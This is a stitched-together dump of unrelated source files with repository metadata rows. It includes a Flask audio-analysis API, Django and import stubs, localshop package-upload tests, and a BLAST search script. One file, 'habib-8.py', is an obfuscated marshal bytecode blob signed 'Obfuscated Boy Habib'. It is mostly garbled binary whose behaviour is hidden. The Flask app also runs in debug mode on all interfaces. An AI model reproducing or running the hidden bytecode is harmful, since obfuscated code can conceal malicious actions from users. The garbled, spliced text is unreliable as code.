db = librosa.amplitude_to_db(S, ref=np.max)
dbLine = []
for i in range(len(db[0])):
_max = -80
for j in range(len(db)):
if _max < db[j][i]:
_max = db[j][i]
dbLine.append(_max)
end = 0
for i in range(len(dbLine)):
if dbLine[i] > -20:
break
for i in range(len(dbLine)-1, -1, -1):
if dbLine[i] > -20:
end = i
break
total = 0
cnt = 0
s_total = 0
s_count = 0
if end < len(dbLine)-2:
end += 1
for i in range(0, end):
if not(dbLine[i] == 0 or dbLine[i+1] == 0):
total += abs(dbLine[i]-dbLine[i+1])
cnt += 1
if dbLine[i] != 0:
s_total += dbLine[i]
s_count += 1
stability = total/cnt
average = s_total/s_count
s = 0
for i in range(s_count):
s += pow(dbLine[i]-average, 2)
s /= s_count
s = math.sqrt(s)
a = 70
x = np.arange(0, 40)
y = np.exp(-x/a)
if s < 40:
s = y[int(s)]
else:
s = y[-1]
print("vol = ", s)
return [round(s*100), round(stability, 4)]
def trim(data, start, end):
res = []
if end < len(data)-2:
end += 1
for i in range(start, end):
res.append(data[i])
return res
@ app.route('/folders/<folder_id>/decibel', methods=['GET'])
@ requires_auth
def get_folder_decibel(folder_id):
session = create_session()
user_id = g.current_user['sub']
musics = session.query(Music).filter_by(folder_id=folder_id,
user_id=user_id).order_by(Music.id).all()
preData = []
for music in musics:
data = decibel_data(music)
start, end = find_start_end(music)
data = trim(data, start, end)
data = np.array(data)
preData.append(data)
Datas = []
if len(preData) == 1:
data = []
d = list(preData[0])
for i in range(len(d)):
dic = {
"x": i+1,
"y": str(d[i])
}
data.append(dic)
Datas.append({"id": 1, "data": data})
else:
l = len(preData)-1
for i in range(1, len(preData)):
alignment = dtw(preData[0], preData[i], keep_internals=True)
if i == 1:
aliged_data = preData[0][alignment.index1]
aliged_data = list(aliged_data)
data = []
for j in range(len(aliged_data)):
dic = {
"x": j+1,
"y": str(aliged_data[j])
}
data.append(dic)
Datas.append({"id": len(preData), "data": data})
aliged_data = preData[i][alignment.index2]
aliged_data = list(aliged_data)
data = []
for j in range(len(aliged_data)):
dic = {
"x": j+1,
"y": str(aliged_data[j])
}
data.append(dic)
Datas.append({"id": l, "data": data})
l -= 1
print("fin")
print("all clear")
session.close()
return jsonify(Datas)
# 基本周波数
@ app.route('/musics/<music_id>/f0', methods=['GET'])
@ requires_auth
def get_music_f0(music_id):
session = create_session()
user_id = g.current_user['sub']
music = session.query(Music).filter_by(
user_id=user_id, id=music_id).first()
f0 = music.fundamental_frequency(session)
times = librosa.times_like(f0, sr=48000)
print(len(f0))
print("len", times)
print(times)
average = frequency_ave_data(music)
start, end = find_start_end(music)
data = []
if end < len(f0)-2:
end += 1
j = 0
for i in range(max(0, start), end):
if f0[i] >= 0:
dic = {
"x": round(times[i], 2),
"y": round(f0[i], 4)
}
else:
dic = {
"x": round(times[i], 2),
"y": 0
}
data.append(dic)
j += 1
session.close()
return jsonify({
'average': average[1],
's': average[0],
'values': data
})
def frequency_ave_data(music):
session = create_session()
f0 = music.fundamental_frequency(session)
start, end = find_start_end(music)
total = 0
cnt = 0
if end < len(f0)-2:
end += 1
for i in range(max(0, start), end):
if f0[i] >= 0 and f0[i+1] >= 0 and (not(f0[i] == 0 or f0[i+1] == 0)):
total += abs(f0[i]-f0[i+1])
cnt += 1
data = np.array(f0)
data = np.nan_to_num(f0)
s_total = 0
s_count = 0
for i in range(max(0, start), end-1):
if data[i] != 0:
s_total += data[i]
s_count += 1
if s_count != 0:
average = s_total/s_count
s = 0
for i in range(max(0, start), end):
if data[i] != 0:
s += pow(data[i]-average, 2)
s /= s_count
s = math.sqrt(s)
else:
s = -1
if cnt != 0:
stability = total/cnt
else:
stability = -1
normalized_s = 0
tone_n = 0
i = start
while i < end-1:
if data[i+1] == 0 or data[i]/data[i+1] == 0:
cent = 0
else:
cent = 1200*math.log2(data[i]/data[i+1])
sp = i
count = 0
total = 0
while i < end-1 and abs(cent) <= 38:
total += data[i]
count += 1
i += 1
if data[i+1] == 0 or data[i]/data[i+1] == 0:
cent = 0
else:
# cent = 1200*math.log2(data[i]/data[i+1])
cent = 1200*math.log2(data[i]/data[i+1])
if count >= 15:
ave = total/count
ns = 0
while sp <= i:
ns += pow(data[sp]-ave, 2)
sp += 1
ns /= count
ns = math.sqrt(ns)
tone_n += 1
normalized_s += ns
i += 1
if tone_n == 0:
s = 0
else:
ss = normalized_s/tone_n
# 閾値
a = 4
x = np.arange(0, 5.0, 0.01)
y = np.exp(-x/a)
if round(ss*100) < len(y):
s = y[round(ss*100)]
else:
s = 0
session.close()
print("fre = ", s)
return [round(s*100), round(stability, 4)]
# dtw用
def dtw_frequency_data(music):
session = create_session()
f0 = music.fundamental_frequency(session)
session.close()
return f0
# --スペクトル重心--------
def spectrum_centroid(music):
session = create_session()
y, sr = librosa.load(io.BytesIO(music.content), 48000)
cent = librosa.feature.spectral_centroid(y=y, sr=sr)
times = librosa.times_like(cent, sr=48000)
start, end = find_start_end(music)
Datas = []
if end < len(cent[0]-2):
end += 1
j = 0
for i in range(start, end):
dic = {
"x": round(times[i], 2),
# "x": j,
"y": round(cent[0][i], 4)
}
Datas.append(dic)
j += 1
session.close()
return Datas
# ----スペクトルロールオフ---------
def spectrum_rolloff(music):
session = create_session()
y, sr = librosa.load(io.BytesIO(music.content), 48000)
rolloff = librosa.feature.spectral_rolloff(y=y, sr=sr)
times = librosa.times_like(rolloff, sr=48000)
#print("len", times)
# print(times)
start, end = find_start_end(music)
Datas = []
if end < len(rolloff[0]-2):
end += 1
j = 0
for i in range(start, end):
dic = {
"x": round(times[i], 2),
# "x": j,
"y": round(rolloff[0][i], 4)
}
Datas.append(dic)
j += 1
session.close()
return Datas
def spectrum_rolloff_ave(music):
session = create_session()
y, sr = librosa.load(io.BytesIO(music.content), 48000)
# 引数roll_percent=0.8がデフォ
rolloff = librosa.feature.spectral_rolloff(y=y, sr=sr)
start, end = find_start_end(music)
cnt = 0
total = 0
s_total = 0
s_count = 0
for i in range(start, end):
if rolloff[0][i] < 4000 and rolloff[0][i+1] < 4000:
total += abs(rolloff[0][i]-rolloff[0][i+1])
cnt += 1
if rolloff[0][i] != 0:
s_total += rolloff[0][i]
s_count += 1
if cnt != 0:
stability = total/cnt
else:
stability = -1
s = 0
average = s_total/s_count
for i in range(s_count):
s += pow(rolloff[0][i]-average, 2)
s /= s_count
s = math.sqrt(s)
session.close()
a = 15000
x = np.arange(0, 12000)
y = np.exp(-x/a)
if s != -1 and s < 12000:
s = y[int(s)]
elif s != -1:
s = y[-1]
print("tone = ", s)
return [round(s*100), round(stability, 4)]
def spectrum_rolloff_y(music):
session = create_session()
y, sr = librosa.load(io.BytesIO(music.content), 48000)
# 引数roll_percent=0.8がデフォ
rolloff = librosa.feature.spectral_rolloff(y=y, sr=sr)
Datas = []
for i in range(len(rolloff[0])):
Datas.append(round(rolloff[0][i], 4))
session.close()
return Datas
# --フラットネス--------
@ app.route('/musics/<music_id>/spectrum_flatness', methods=['GET'])
@ requires_auth
def spectrum_flatness(music_id):
session = create_session()
user_id = g.current_user['sub']
music = session.query(Music).filter_by(
user_id=user_id, id=music_id).first()
y, sr = librosa.load(io.BytesIO(music.content), 48000)
y, _ = librosa.effects.trim(y, 45)
flatness = librosa.feature.spectral_flatness(y=y)
Datas = []
for i in range(len(flatness[0])):
dic = {
"x": i+1,
"y": str(flatness[0][i])
}
Datas.append(dic)
session.close()
return jsonify(Datas)
@ app.route('/musics/<music_id>/spectrum_centroid', methods=['GET'])
@ requires_auth
def get_music_spectrum_centroid(music_id):
session = create_session()
user_id = g.current_user['sub']
music = session.query(Music).filter_by(
user_id=user_id, id=music_id).first()
return jsonify({
'values': spectrum_centroid(music)
})
@ app.route('/musics/<music_id>/spectrum_rolloff', methods=['GET'])
@ requires_auth
def get_music_spectrum_rolloff(music_id):
session = create_session()
user_id = g.current_user['sub']
music = session.query(Music).filter_by(
user_id=user_id, id=music_id).first()
average = spectrum_rolloff_ave(music)
return jsonify({
'average': {"stability": average[1], 's': average[0]},
'values': spectrum_rolloff(music)
})
@ app.route('/folders/<folder_id>/tone', methods=['GET'])
@ requires_auth
def get_folder_tone(folder_id):
session = create_session()
user_id = g.current_user['sub']
musics = session.query(Music).filter_by(
user_id=user_id, folder_id=folder_id).order_by(Music.id).all()
preData = []
for music in musics:
data = spectrum_rolloff_y(music)
start, end = find_start_end(music)
data = trim(data, start, end)
data = np.array(data)
preData.append(data)
Datas = []
if len(preData) == 1:
data = []
d = list(preData[0])
for i in range(len(d)):
dic = {
"x": i+1,
"y": str(d[i])
}
data.append(dic)
Datas.append({"id": 1, "data": data})
else:
l = len(preData)-1
for i in range(1, len(preData)):
alignment = dtw(preData[0], preData[i], keep_internals=True)
if i == 1:
aliged_data = preData[0][alignment.index1]
aliged_data = list(aliged_data)
data = []
for j in range(len(aliged_data)):
dic = {
"x": j+1,
"y": str(aliged_data[j])
}
data.append(dic)
Datas.append({"id": len(preData), "data": data})
aliged_data = preData[i][alignment.index2]
aliged_data = list(aliged_data)
data = []
for j in range(len(aliged_data)):
dic = {
"x": j+1,
"y": str(aliged_data[j])
}
data.append(dic)
Datas.append({"id": l, "data": data})
l -= 1
print("fin")
print("all clear")
session.close()
return jsonify(Datas)
@ app.route('/musics/<music_id>/stability', methods=['GET'])
@ requires_auth
def get_folder_stability(music_id):
session = create_session()
user_id = g.current_user['sub']
music = session.query(Music).filter_by(
user_id=user_id, id=music_id).first()
f0_ave = frequency_ave_data(music)
vol_ave = decibel_ave_data(music)
tone_ave = spectrum_rolloff_ave(music)
data = {"f0": f0_ave[0], "vol": vol_ave[0], "tone": tone_ave[0],
"total": f0_ave[0]+vol_ave[0]+tone_ave[0]}
print(data)
return jsonify(data)
if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0',
port=int(os.environ.get('PORT', 8080)))
| 29.261979
| 90
| 0.534514
| 5,966
| 47,024
| 4.054308
| 0.045927
| 0.046387
| 0.025798
| 0.028278
| 0.850091
| 0.831032
| 0.80019
| 0.755375
| 0.738259
| 0.708781
| 0
| 0.017599
| 0.317264
| 47,024
| 1,606
| 91
| 29.280199
| 0.735804
| 0.015333
| 0
| 0.75416
| 0
| 0
| 0.051108
| 0.022041
| 0
| 0
| 0
| 0
| 0
| 1
| 0.043116
| false
| 0
| 0.015885
| 0
| 0.102874
| 0.025719
| 0
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| 0
| null | 0
| 0
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| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
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| 1
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| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
25133b3b79efdf00a9330f7e7672951b6c77400a
| 208
|
py
|
Python
|
toolkit/apps/toolkit_activity_log/admin.py
|
CCE-IT/cce-toolkit
|
a3dc470bd8fd3f01615ff57198dfefc88d3aa50c
|
[
"BSD-3-Clause"
] | 8
|
2016-06-23T14:41:26.000Z
|
2018-07-06T17:54:08.000Z
|
toolkit/apps/toolkit_activity_log/admin.py
|
cceit/cce-toolkit
|
a3dc470bd8fd3f01615ff57198dfefc88d3aa50c
|
[
"BSD-3-Clause"
] | null | null | null |
toolkit/apps/toolkit_activity_log/admin.py
|
cceit/cce-toolkit
|
a3dc470bd8fd3f01615ff57198dfefc88d3aa50c
|
[
"BSD-3-Clause"
] | null | null | null |
from django.contrib import admin
from toolkit.apps.toolkit_activity_log.models import ToolkitActivityLog, ToolkitActivityType
admin.site.register(ToolkitActivityType)
admin.site.register(ToolkitActivityLog)
| 34.666667
| 92
| 0.879808
| 23
| 208
| 7.869565
| 0.608696
| 0.265193
| 0.309392
| 0.39779
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.057692
| 208
| 5
| 93
| 41.6
| 0.923469
| 0
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| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
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| 0
| null | 1
| 1
| 1
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
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| 0
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| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
253cda46f63f2b12d04d19a5c1525581b4e5c392
| 98
|
py
|
Python
|
irida_uploader_cl/api/__init__.py
|
duanjunhyq/irida_uploader_cl
|
d0e5d404c5b5b10c3411ded71a20f5ab062aabba
|
[
"MIT"
] | null | null | null |
irida_uploader_cl/api/__init__.py
|
duanjunhyq/irida_uploader_cl
|
d0e5d404c5b5b10c3411ded71a20f5ab062aabba
|
[
"MIT"
] | null | null | null |
irida_uploader_cl/api/__init__.py
|
duanjunhyq/irida_uploader_cl
|
d0e5d404c5b5b10c3411ded71a20f5ab062aabba
|
[
"MIT"
] | null | null | null |
from irida_uploader_cl.api.api_calls import ApiCalls
from irida_uploader_cl.api import exceptions
| 32.666667
| 52
| 0.887755
| 16
| 98
| 5.125
| 0.5625
| 0.219512
| 0.414634
| 0.463415
| 0.536585
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.081633
| 98
| 2
| 53
| 49
| 0.911111
| 0
| 0
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| 0
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| 0
| 1
| 0
| true
| 0
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| 1
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| 1
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| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
254c79248c481d3a557208980e90a8f2b1b5d65d
| 8,139
|
py
|
Python
|
src/localshop/apps/packages/tests/test_views.py
|
terrmit/localshop
|
fc9aa2fca18566ca25f5beb411011e70f4d9efcc
|
[
"MIT"
] | null | null | null |
src/localshop/apps/packages/tests/test_views.py
|
terrmit/localshop
|
fc9aa2fca18566ca25f5beb411011e70f4d9efcc
|
[
"MIT"
] | 1
|
2020-01-15T11:40:10.000Z
|
2020-01-15T11:40:10.000Z
|
src/localshop/apps/packages/tests/test_views.py
|
terrmit/localshop
|
fc9aa2fca18566ca25f5beb411011e70f4d9efcc
|
[
"MIT"
] | 1
|
2016-07-06T11:16:47.000Z
|
2016-07-06T11:16:47.000Z
|
from base64 import standard_b64encode
import pytest
import requests
from localshop.apps.packages.models import Package
from localshop.apps.permissions.models import CIDR
@pytest.mark.parametrize('separator', ['\n', '\r\n'])
def test_package_upload(live_server, admin_user, separator):
CIDR.objects.create(cidr='0.0.0.0/0', require_credentials=False)
post_data = separator.join([
'',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="comment"',
'',
'',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="metadata_version"',
'',
'1.0',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="filetype"',
'',
'sdist',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="protcol_version"',
'',
'1',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="author"',
'',
'Michael van Tellingen',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="home_page"',
'',
'http://github.com/mvantellingen/localshop',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="download_url"',
'',
'UNKNOWN',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="content";filename="tmpf3bcEV"',
'',
'binary-test-data-here',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="platform"',
'',
'UNKNOWN',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="version"',
'',
'0.1',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="description"',
'',
'UNKNOWN',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="md5_digest"',
'',
'06ffe94789d7bd9efba1109f40e935cf',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name=":action"',
'',
'file_upload',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="name"',
'',
'localshop',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="license"',
'',
'BSD',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="pyversion"',
'',
'source',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="summary"',
'',
'A private pypi server including auto-mirroring of pypi.',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="author_email"',
'',
'michaelvantellingen@gmail.com',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254--',
''])
headers = {
'Content-type': 'multipart/form-data; boundary=--------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Authorization': 'Basic ' + standard_b64encode('admin:password')
}
response = requests.post(live_server + '/simple/', post_data, headers=headers)
assert response.status_code == 200
package = Package.objects.filter(name='localshop').first()
assert package is not None
assert package.is_local is True
assert package.releases.count() == 1
release = package.releases.first()
assert release.author == 'Michael van Tellingen'
assert release.author_email == 'michaelvantellingen@gmail.com'
assert release.description == ''
assert release.download_url == ''
assert release.home_page == 'http://github.com/mvantellingen/localshop'
assert release.license == 'BSD'
assert release.metadata_version == '1.0'
assert release.summary == 'A private pypi server including auto-mirroring of pypi.'
assert release.user == admin_user
assert release.version == '0.1'
assert release.files.count() == 1
release_file = release.files.first()
assert release_file is not None
assert release_file.python_version == 'source'
assert release_file.filetype == 'sdist'
assert release_file.md5_digest == '06ffe94789d7bd9efba1109f40e935cf'
assert release_file.distribution.read() == 'binary-test-data-here'
def test_package_register(live_server, admin_user):
CIDR.objects.create(cidr='0.0.0.0/0', require_credentials=False)
post_data = '\n'.join([
'',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="license"',
'',
'BSD',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="name"',
'',
'localshop',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="metadata_version"',
'',
'1.0',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="author"',
'',
'Michael van Tellingen',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="home_page"',
'',
'http://github.com/mvantellingen/localshop',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name=":action"',
'',
'submit',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="download_url"',
'',
'UNKNOWN',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="summary"',
'',
'A private pypi server including auto-mirroring of pypi.',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="author_email"',
'',
'michaelvantellingen@gmail.com',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="version"',
'',
'0.1',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="platform"',
'',
'UNKNOWN',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Content-Disposition: form-data; name="description"',
'',
'UNKNOWN',
'----------------GHSKFJDLGDS7543FJKLFHRE75642756743254--',
''])
headers = {
'Content-type': 'multipart/form-data; boundary=--------------GHSKFJDLGDS7543FJKLFHRE75642756743254',
'Authorization': 'Basic ' + standard_b64encode('admin:password')
}
response = requests.post(live_server + '/simple/', post_data, headers=headers)
assert response.status_code == 200
package = Package.objects.filter(name='localshop').first()
assert package is not None
assert package.is_local is True
assert package.releases.count() == 1
release = package.releases.first()
assert release.author == 'Michael van Tellingen'
assert release.author_email == 'michaelvantellingen@gmail.com'
assert release.description == ''
assert release.download_url == ''
assert release.home_page == 'http://github.com/mvantellingen/localshop'
assert release.license == 'BSD'
assert release.metadata_version == '1.0'
assert release.summary == 'A private pypi server including auto-mirroring of pypi.'
assert release.user == admin_user
assert release.version == '0.1'
| 38.391509
| 108
| 0.603145
| 648
| 8,139
| 7.49537
| 0.177469
| 0.052707
| 0.339716
| 0.364422
| 0.859996
| 0.859996
| 0.846201
| 0.808112
| 0.808112
| 0.793082
| 0
| 0.108104
| 0.2101
| 8,139
| 211
| 109
| 38.57346
| 0.647379
| 0
| 0
| 0.828877
| 0
| 0
| 0.529058
| 0.263546
| 0
| 0
| 0
| 0
| 0.181818
| 1
| 0.010695
| false
| 0.010695
| 0.026738
| 0
| 0.037433
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
25601ebf8401f859686c11614933743033655876
| 134
|
py
|
Python
|
opentelemetry-api/tests/mypysmoke.py
|
jan25/opentelemetry-python
|
60fe16012823c9768800f8dfcfb3ba3f339755fe
|
[
"Apache-2.0"
] | null | null | null |
opentelemetry-api/tests/mypysmoke.py
|
jan25/opentelemetry-python
|
60fe16012823c9768800f8dfcfb3ba3f339755fe
|
[
"Apache-2.0"
] | null | null | null |
opentelemetry-api/tests/mypysmoke.py
|
jan25/opentelemetry-python
|
60fe16012823c9768800f8dfcfb3ba3f339755fe
|
[
"Apache-2.0"
] | null | null | null |
import opentelemetry.trace
def dummy_check_mypy_returntype() -> opentelemetry.trace.Tracer:
return opentelemetry.trace.tracer()
| 22.333333
| 64
| 0.80597
| 15
| 134
| 7
| 0.666667
| 0.514286
| 0.457143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.104478
| 134
| 5
| 65
| 26.8
| 0.875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
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| null | 0
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| 1
| 0
|
0
| 9
|
c2c09c3ab36743374b7f7bf352301f4d6d9a9727
| 326,173
|
py
|
Python
|
habib-8.py
|
Habibvip/habib-bd
|
4be47587f0cdb2a985bdb0fa98e3403917d708ad
|
[
"Apache-2.0"
] | null | null | null |
habib-8.py
|
Habibvip/habib-bd
|
4be47587f0cdb2a985bdb0fa98e3403917d708ad
|
[
"Apache-2.0"
] | null | null | null |
habib-8.py
|
Habibvip/habib-bd
|
4be47587f0cdb2a985bdb0fa98e3403917d708ad
|
[
"Apache-2.0"
] | null | null | null |
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d� dn d� d d> d d d dh d dG dh d d� d� dM d� d d d
dY d` d� d= d� d� dG d� dY d� dn dh d� d dM dL dl dS d� d" d1 d dA d d� d� d> dA d1 d d@ d6 dG d; d= d
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d( d� d2 dH d2 d� d dW d� d d> dH dJ d� d� d> d d� d� d� d� d� d d� d� dG d� d8 d� d# d
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d d� d d� dS d� d d d� dV dG d d� d� d� d� d� d� d� dJ d d d) d( d� dA d� d d� d� d
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d~ d� d/ d d� d> d d dD d d@ d d� d� d� dK dk d
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d� d� d� d> dG d� d� d� d� d d� d
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d` d ds d� d� dh d@ dM dH d� d� d d d6 d. dS d9 d d; d2 dA d d� d� d� d
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d. d d� dK d� d d d� d8 dA dS d~ d
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d/ d# d� d9 ds d� d� d� d; d� d
d� d� da d� d� d� d� d@ d� d/ d@ d� d� d� d[ d� d9 d" d� dK d� d[ d� d� dH d) d� d� d d� d; dV d� d� d d2 d dt d d� dt d� d6 dl d
d> d� d d� d� d� d� d� d� d� d d� d d d9 dl d� d d~ d� d� d5 dH d� d� d d� d� d d� dO d dM d� dA d d d d� d� d� d� d d1 d� dh dW d> d: d� d� d2 d� d8 d� d8 d� d� d> d8 d� d d d� d� d( d@ d� d3 dM d� d� d� d= d& d� d[ d/ d� d� d d� d8 d� d� d� d� d� d" d= d� d d� dh d� d� d; d d? d� d� d d� d& d d d; d dO d d� d� d� dD d. d4 d@ d d� d
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d d
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R R t hex( t zR t __t OoO_R t OOt ut pt vt func_codet co_lnotabt joint mapt chrt lxt it decode( ( ( s Tech_Qaiser t <module> s� � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � R( t marshalt loads( ( ( s$ /storage/emulated/0/Mahadi-8_tqai.pyt <module> s
Obfuscated Boy Habib
Github >>> github.com/habibvip
Youtube :- Nai😌
Whatsapp :- +8801794528654
| 564.313149
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0
| 16
|
c2efc961703c13853b8bc23cb091043f390fd253
| 13,198
|
py
|
Python
|
korbinian/blast/blastp.py
|
teese/korbinian
|
3715b40830957f04c4f44b01025449bc6b6a936e
|
[
"MIT"
] | 3
|
2018-03-08T12:03:50.000Z
|
2018-04-09T12:44:39.000Z
|
korbinian/blast/blastp.py
|
teese/korbinian
|
3715b40830957f04c4f44b01025449bc6b6a936e
|
[
"MIT"
] | 2
|
2018-06-06T09:51:11.000Z
|
2018-08-06T15:56:41.000Z
|
korbinian/blast/blastp.py
|
teese/korbinian
|
3715b40830957f04c4f44b01025449bc6b6a936e
|
[
"MIT"
] | null | null | null |
"""
Author: Dominik Müller
Created: May 7 00:06 2018
Dependencies: Python >=3.3
pandas
Bio
BLAST+
Purpose: Protein Data Science
Analysis of evolutionary sequences of transmembrane proteins
Credits: Mark Teese
Martin Ortner
Shenger Wang
Rimma Jenske
Dominik Müller
License Released under the permissive MIT license.
"""
import csv
import logging
import os
import gzip
import korbinian
import pandas as pd
import sys
from multiprocessing import Pool
from Bio.Blast import NCBIWWW
from Bio.Blast.Applications import NcbiblastpCommandline
# import debugging tools
from korbinian.utils import pr, pc, pn, aaa
def run_BLAST_online(pathdict, s, logging):
"""From the list of proteins in csv format, begins online BLASTp searches for homologous proteins
Parameters
----------
pathdict : dict
Dictionary of the key paths and files associated with that List number.
s : dict
Settings dictionary extracted from excel settings file.
logging : logging.Logger
Logger for printing to console and logfile.
Saved Files and Figures
-----------------------
PROTEIN_NAME.blast_result.xml : xml file containing BLASTp hits
(e.g. A2A2V5.blast_result.xml)
"""
logging.info("~~~~~~~~~~~~ starting running BLASTp via online API ~~~~~~~~~~~~")
#IF blast directory doesn't exist -> create blast directory in the data(base) directory
blast_dir = os.path.join(s["data_dir"], "blast")
if not os.path.exists(blast_dir):
os.makedirs(blast_dir)
#Obtain protein data frame
df = pd.read_csv(pathdict["list_csv"], sep = ",", quoting = csv.QUOTE_NONNUMERIC, index_col = 0)
#Obtain blast settings from the settings file
evalue = s["blast_Evalue"];
hitsize = s["blast_max_hits"]
overwrite_results = s["blast_overwrite_existing_results"]
compress_results = s["blast_compress_results"]
#preprocessing BLASTp execution by iterate over each protein
task_list = []
for acc in df.index:
#Variable initializations for current protein
protein_name = df.loc[acc, 'protein_name']
input_sequence = df.loc[acc, 'full_seq']
query = ">" + protein_name + "\n" + input_sequence + "\n"
#Initialize file system in database/blast directory
